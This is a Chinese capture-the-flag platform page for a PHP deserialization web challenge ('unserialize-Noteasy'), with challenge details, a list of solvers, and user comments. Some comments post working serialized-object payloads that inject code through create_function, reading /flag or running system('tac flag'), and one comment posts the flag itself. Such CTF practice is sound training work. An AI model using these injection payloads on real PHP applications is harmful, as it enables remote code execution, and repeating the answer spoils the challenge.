unserialize-NoteasyWEB 未解决

分数: 30 金币: 3
题目作者: 云牧青
一  血: Lazzaro
一血奖励: 5金币
解  决: 819
提  示:
描  述:
不简单的反序列化
评论
zhzuo 7天前

我真心不会等在提升一段时间再来做

回复 1

ixin 9月前

真心不会等在提升一段时间再来做

回复 1

对对对对对对对对 9月前

看评论区师傅们博客内对于create_function的理解,另外还有序列化的格式语法

回复 0

gxrtbtc 1年前

序列化字符串中%3B%7D%3B部分导致结构断裂(未闭合的花括号和分号)1013 私有属性命名未正确处理空字符\0(应为\0类名\0属性名格式)13 功能失效 create_function构造的函数体;}highlight_file("/flag");/*存在语法错误: ;}会提前结束函数定义 /*未正确注释后续代码21

回复 0

locust 1年前

O%3A7%3A%22Noteasy%22%3A2%3A%7Bs%3A10%3A%22%00Noteasy%00a%22%3Bs%3A15%3A%22create_function%22%3Bs%3A10%3A%22%00Noteasy%00b%22%3Bs%3A29%3A%22%3B%7D%3Bhighlight_file%28%22%2Fflag%22%29%3B%2F%2A%22%3B%7D

回复 6

Jiafeng 1年前

flag{d45ca0bf896cdf6a9903d5030554214e} ; 这里主要是考察反序列化的使用,这里给出一个连接,学会使用create_function函数来进行反序列化的操作; https://blog.csdn.net/weixin_61785633/article/details/131159553

回复 0

雾島风起時 1年前

真心不会等在提升一段时间再来做

回复 1

小猫猫嗷嗷叫 1年前

p=O:7:"Noteasy":2:{s:10:"%00Noteasy%00a";s:15:"create_function";s:10:"%00Noteasy%00b";s:24:";}system("tac%20flag");/*;";}

回复 0

xiaoxiao972521 2年前

一看评论都寄了,我就不开场景了,啊哈哈哈哈

回复 0

XRain 2年前

这种题不会真没办法,相当于当场挖出 create_function 的漏洞,挺难的,只能靠平时看文章和关注安全动态,记下各种技巧。

回复 0

WriteUp

image
云牧青

5 金币

评分(3)

解题动态

zrlht 攻破了该题 22分钟前
路人甲1123 攻破了该题 1天前
YwllwY 攻破了该题 4天前
wydyxhxs 攻破了该题 4天前
qrf 攻破了该题 7天前
C0oola 攻破了该题 7天前
布蕾脆脆奶芙 攻破了该题 7天前
zhzuo 攻破了该题 7天前
hys 攻破了该题 8天前
KDAtc 攻破了该题 11天前
i8vkmmju 攻破了该题 11天前
FanHuaJie 攻破了该题 13天前
耶无忧 攻破了该题 14天前
caltn 攻破了该题 14天前
兰小方 攻破了该题 15天前
xong_bai 攻破了该题 19天前
shylock 攻破了该题 20天前
C071 攻破了该题 20天前
青春小豆 攻破了该题 21天前
niubill 攻破了该题 24天前
问题反馈